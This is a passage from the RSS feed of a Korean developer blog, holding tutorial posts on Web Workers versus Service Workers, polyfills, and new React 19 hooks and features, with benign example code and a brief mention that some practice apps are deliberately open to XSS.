&lt;li data-end=&quot;1152&quot; data-start=&quot;1126&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;npm install으로 직접 설치 가능&lt;/span&gt;&lt;/li&gt;
&lt;li data-end=&quot;1186&quot; data-start=&quot;1153&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;일부는 게시판, 상품평에 XSS 공격 가능하게 되어 있음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/단어들</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/726</guid>
      <comments>https://be-a-weapon.tistory.com/entry/%EC%9B%B9-%EB%B3%B4%EC%95%88-%EA%B0%95%ED%99%94%ED%95%98%EA%B8%B0#entry726comment</comments>
      <pubDate>Tue, 13 May 2025 17:35:38 +0900</pubDate>
    </item>
    <item>
      <title>웹 워커 vs. 서비스 워커</title>
      <link>https://be-a-weapon.tistory.com/entry/%EC%9B%B9-%EC%9B%8C%EC%BB%A4-vs-%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%9B%8C%EC%BB%A4</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;웹 워커(Web Worker)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저에서 &lt;b&gt;UI와 분리된 백그라운드 스레드로 무거운 계산을 맡겨서 UI가 멈추지 않게 한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU를 많이 사용하는 계산, 이미지 처리, 암호화 등을 하고 싶을 때 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM에는 접근 불가하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  사용 예시: 이미지 필터 처리, 대규모 정렬 등&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  Web Worker가 없을 때&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746163551565&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 이 코드는 브라우저를 몇 초간 멈추게 한다.
const bigArray = [...Array(1e8)].map(() =&amp;gt; Math.random());
const sorted = bigArray.sort();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  Web Worker 사용&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746163604364&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// main.js
const worker = new Worker('sortWorker.js');
worker.postMessage(bigArray); // 데이터를 워커에게 전달

worker.onmessage = (e) =&amp;gt; {
  console.log('정렬 완료', e.data);
};

// sortWorker.js
onmessage = (e) =&amp;gt; {
  const sorted = e.data.sort();
  postMessage(sorted); // 결과 전달
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;서비스 워커(Service Worker)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저와 네트워크 사이에 낀 프록시이다. 오프라인 캐싱, 푸시 알림 등에 사용된다. (PWC의 핵심기술)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 오프라인이거나, 리소스를 캐시해서 빠르게 응답하거나, 푸시 알림을 보내고 싶을 때 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용 예시: 오프라인 상태에서 페이지 열기 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  Service Worker 사용&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746163693187&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// service-worker.js
self.addEventListener('install', (event) =&amp;gt; {
  event.waitUntil(
    caches.open('v1').then((cache) =&amp;gt;
      cache.addAll([
        '/',
        '/index.html',
        '/styles.css',
        '/app.js',
      ]),
    ),
  );
});

self.addEventListener('fetch', (event) =&amp;gt; {
  event.respondWith(
    caches.match(event.request).then((cachedResponse) =&amp;gt; {
      return cachedResponse || fetch(event.request);
    }),
  );
});&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1746163698743&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/service-worker.js');
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/단어들</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/724</guid>
      <comments>https://be-a-weapon.tistory.com/entry/%EC%9B%B9-%EC%9B%8C%EC%BB%A4-vs-%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%9B%8C%EC%BB%A4#entry724comment</comments>
      <pubDate>Fri, 2 May 2025 20:25:38 +0900</pubDate>
    </item>
    <item>
      <title>Polyfill</title>
      <link>https://be-a-weapon.tistory.com/entry/Polyfill</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;지원되지 않는 브라우저 기능을 &lt;b&gt;흉내내기 위한 코드&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 브라우저에서 지원되지 않는 메서드가 있는 경우 이를 흉내 낸 코드를 포함시켜 기능을 동작하게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘은 Babel + core-js 같은 도구가 자동으로 Polyfill을 추가해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  Promise를 지원하지 않는 브라우저의 경우&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1746162578639&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if (!window.Promise) {
  // Polyfill 코드 삽입
  window.Promise = myCustomPromiseImplementation;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/단어들</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/723</guid>
      <comments>https://be-a-weapon.tistory.com/entry/Polyfill#entry723comment</comments>
      <pubDate>Fri, 2 May 2025 20:14:58 +0900</pubDate>
    </item>
    <item>
      <title>[React.js] React19 주요 특징과 최적화 포인트</title>
      <link>https://be-a-weapon.tistory.com/entry/Reactjs-React19-%EC%A3%BC%EC%9A%94-%ED%8A%B9%EC%A7%95%EA%B3%BC-%EC%B5%9C%EC%A0%81%ED%99%94-%ED%8F%AC%EC%9D%B8%ED%8A%B8</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React19를 토이프로젝트에 도입하게되면서 공부한 주요 특징들!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버/클라이언트의 경계가 흐려지며 Next.js와의 결합구조가 강화되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. Actions&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비동기 상태 업데이트를 간편하게 관리하는 새로운 패턴이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 setState하지 않아도 되며 로딩도 관리할 필요가 없어졌다!  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 형태는 &lt;b&gt;const [state, submitAction, isPending] = useActionState(actionFn, initialState)&lt;/b&gt;이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;actionFn: (prevState:&amp;nbsp;StateType,&amp;nbsp;formData:&amp;nbsp;FormData)&amp;nbsp;=&amp;gt;&amp;nbsp;Promise&amp;lt;StateType&amp;gt;&lt;/li&gt;
&lt;li&gt;initialState: state의 초기값&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  기존 방식 (React 18 이전)&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1745975844034&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import React, { useState } from 'react';

export default function ChatForm() {
  const [message, setMessage] = useState('');  // 상태 관리
  const [isPending, setIsPending] = useState(false);  // 로딩 상태 관리

  const handleSubmit = async (e: React.FormEvent) =&amp;gt; {
    e.preventDefault();
    setIsPending(true);  // 로딩 시작

    // 비동기 요청 (fetch API)
    await fetch('/api/send', { 
      method: 'POST', 
      body: JSON.stringify({ message }) 
    });

    setIsPending(false);  // 로딩 끝
    setMessage('');  // 입력 필드 초기화
  };

  return (
    &amp;lt;form onSubmit={handleSubmit}&amp;gt;
      &amp;lt;input 
        value={message}
        onChange={(e) =&amp;gt; setMessage(e.target.value)} 
        placeholder=&quot;메시지 입력&quot;
      /&amp;gt;
      &amp;lt;button type=&quot;submit&quot; disabled={isPending}&amp;gt;
        {isPending ? '전송 중...' : '전송'}
      &amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  useActionState를 사용한 방식 (React 19)&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1745975694122&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;'use client';
import { useActionState } from 'react';

async function sendMessage(prevState: string, formData: FormData) {
  const message = formData.get('message') as string;
  await fetch('/api/send', { method: 'POST', body: JSON.stringify({ message }) });
  return '메시지 전송 완료!';
}

export default function ChatForm() {
  const [message, submitAction, isPending] = useActionState(sendMessage, '');

  return (
    &amp;lt;form action={submitAction}&amp;gt;
      &amp;lt;input name=&quot;message&quot; /&amp;gt;
      &amp;lt;button type=&quot;submit&quot; disabled={isPending}&amp;gt;전송&amp;lt;/button&amp;gt;
      &amp;lt;p&amp;gt;{message}&amp;lt;/p&amp;gt;
    &amp;lt;/form&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 새로운 훅의 등장 (useActionState, useOptimistic, useFormStatus)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;useActionState: form action의 상태를 관리한다.&lt;/li&gt;
&lt;li&gt;useOptimistic: 실제 요청이 끝나기 전에 먼저 화면을 업데이트 한다.&lt;/li&gt;
&lt;li&gt;useFormStatus: 폼 전송 중 여부에 대해 알려준다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  useOptimistic&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비동기보다 먼저 UI를 미리 변경한다.&lt;/p&gt;
&lt;pre id=&quot;code_1745977598018&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;'use client';
import { useOptimistic } from 'react';
import { useState } from 'react';

export default function LikeButton() {
  const [likes, setLikes] = useState(0);

  // optimisticLikes는 UI에 먼저 보여줄 값, apply 함수는 낙관적 업데이트용
  const [optimisticLikes, addOptimisticLike] = useOptimistic(
    likes,
    (currentLikes: number, delta: number) =&amp;gt; currentLikes + delta,
  );

  const handleClick = async () =&amp;gt; {
    // 1. UI 먼저 업데이트 한 뒤
    addOptimisticLike(1);

    // 2. 서버에 반영한다.
    const res = await fetch('/api/like', { method: 'POST' });
    const data = await res.json();
    setLikes(data.totalLikes); // 실제 값으로 갱신
  };

  return (
    &amp;lt;button onClick={handleClick}&amp;gt;
      ❤️ 좋아요 {optimisticLikes}
    &amp;lt;/button&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  useFormStatus&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1745977339243&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;'use client';
import { useFormStatus } from 'react';

function SubmitButton() {
  const { pending } = useFormStatus();
  return &amp;lt;button type=&quot;submit&quot; disabled={pending}&amp;gt;{pending ? '전송 중...' : '제출'}&amp;lt;/button&amp;gt;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. use API&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 React 방식에서는 렌더링 중에 await를 쓰지 못한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 아래와 같이 처리를 했었다.&lt;/p&gt;
&lt;pre id=&quot;code_1745978140449&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { useEffect, useState } from 'react';

function Profile() {
  const [user, setUser] = useState(null);

  useEffect(() =&amp;gt; {
    fetch('/api/user')
      .then((res) =&amp;gt; res.json())
      .then(setUser);
  }, []);

  if (!user) return &amp;lt;p&amp;gt;로딩 중...&amp;lt;/p&amp;gt;;

  return &amp;lt;p&amp;gt;{user.name}님 환영합니다!&amp;lt;/p&amp;gt;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React 19에서는 컴포넌트 밖에서 Promise를 정의할 수 있고 use가 마치 await 처럼 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래처럼 간단하게 작성하여 사용할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1745978217129&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;'use client';
import { use } from 'react';

// 컴포넌트 밖에서 Promise 정의
const userPromise = fetch('/api/user').then((res) =&amp;gt; res.json());

export default function Profile() {
  const user = use(userPromise); // use가 Promise를 기다린다.

  return &amp;lt;p&amp;gt;{user.name}님, 환영합니다!&amp;lt;/p&amp;gt;;
}

// ⚠️ Suspense로 감싸져 있어야 한다.
import { Suspense } from 'react';
import Profile from './Profile';

export default function Page() {
  return (
    &amp;lt;Suspense fallback={&amp;lt;p&amp;gt;로딩 중...&amp;lt;/p&amp;gt;}&amp;gt;
      &amp;lt;Profile /&amp;gt;
    &amp;lt;/Suspense&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  API를 여러개 동시에 호출하는 경우&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1745979091072&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;'use client';
import { use } from 'react';

const userPromise = fetch('/api/user').then((res) =&amp;gt; res.json());
const settingsPromise = fetch('/api/settings').then((res) =&amp;gt; res.json());

export default function Dashboard() {
  const user = use(userPromise);
  const settings = use(settingsPromise);

  return (
    &amp;lt;div&amp;gt;
      &amp;lt;h1&amp;gt;{user.name}님의 대시보드&amp;lt;/h1&amp;gt;
      &amp;lt;p&amp;gt;현재 테마: {settings.theme}&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 서버 컴포넌트 (Server Components)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React 18 버전은 모든 컴포넌트가 기본적으로 &lt;b&gt;클라이언트 컴포넌트&lt;/b&gt;이고, React 19에서는 &lt;b&gt;서버 컴포넌트가 기본&lt;/b&gt;으로 바뀌었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 렌더링하고 브라우저로 최소 데이터만 보내는 컴포넌트이다.&lt;/p&gt;
&lt;pre id=&quot;code_1745980586082&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 서버 컴포넌트 (ex: src/app/profile/page.tsx)
import { getUser } from '@/lib/db';

export default async function ProfilePage() {
  const user = await getUser();  // 서버 DB 직접 호출 가능!

  return &amp;lt;div&amp;gt;안녕하세요, {user.name}님!&amp;lt;/div&amp;gt;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. 스타일시트 및 스크립트 최적화 (Suspense 통합)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSS나 JS 파일 로딩을 더 똑똑하게 관리할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에는 HTML이 먼저 로드되고 CSS는 나중에 불러와져서 깜빡거리는 현상이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JS 코드, CSS, HTML이 모두 준비된 후 나타나기 때문에 깔끔한 UX를 제공한다.&lt;/p&gt;
&lt;pre id=&quot;code_1746001818522&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;'use client';
import { Suspense } from 'react';

function Comments() {
  // 느리게 로딩되는 컴포넌트
  return &amp;lt;div&amp;gt;댓글 목록&amp;lt;/div&amp;gt;;
}

export default function Page() {
  return (
    &amp;lt;div&amp;gt;
      &amp;lt;h1&amp;gt;게시글 제목&amp;lt;/h1&amp;gt;
      &amp;lt;Suspense fallback={&amp;lt;div&amp;gt;댓글 불러오는 중...&amp;lt;/div&amp;gt;}&amp;gt;
        &amp;lt;Comments /&amp;gt;
      &amp;lt;/Suspense&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/React.js &amp;middot; Next.js</category>
      <author>레오나르도 다빈츠</author>
      <guid isPermaLink="true">https://be-a-weapon.tistory.com/722</guid>
      <comments>https://be-a-weapon.tistory.com/entry/Reactjs-React19-%EC%A3%BC%EC%9A%94-%ED%8A%B9%EC%A7%95%EA%B3%BC-%EC%B5%9C%EC%A0%81%ED%99%94-%ED%8F%AC%EC%9D%B8%ED%8A%B8#entry722comment</comments>
      <pubDate>Wed, 30 Apr 2025 20:18:12 +0900</pubDate>
    </item>
  </channel>
</rss>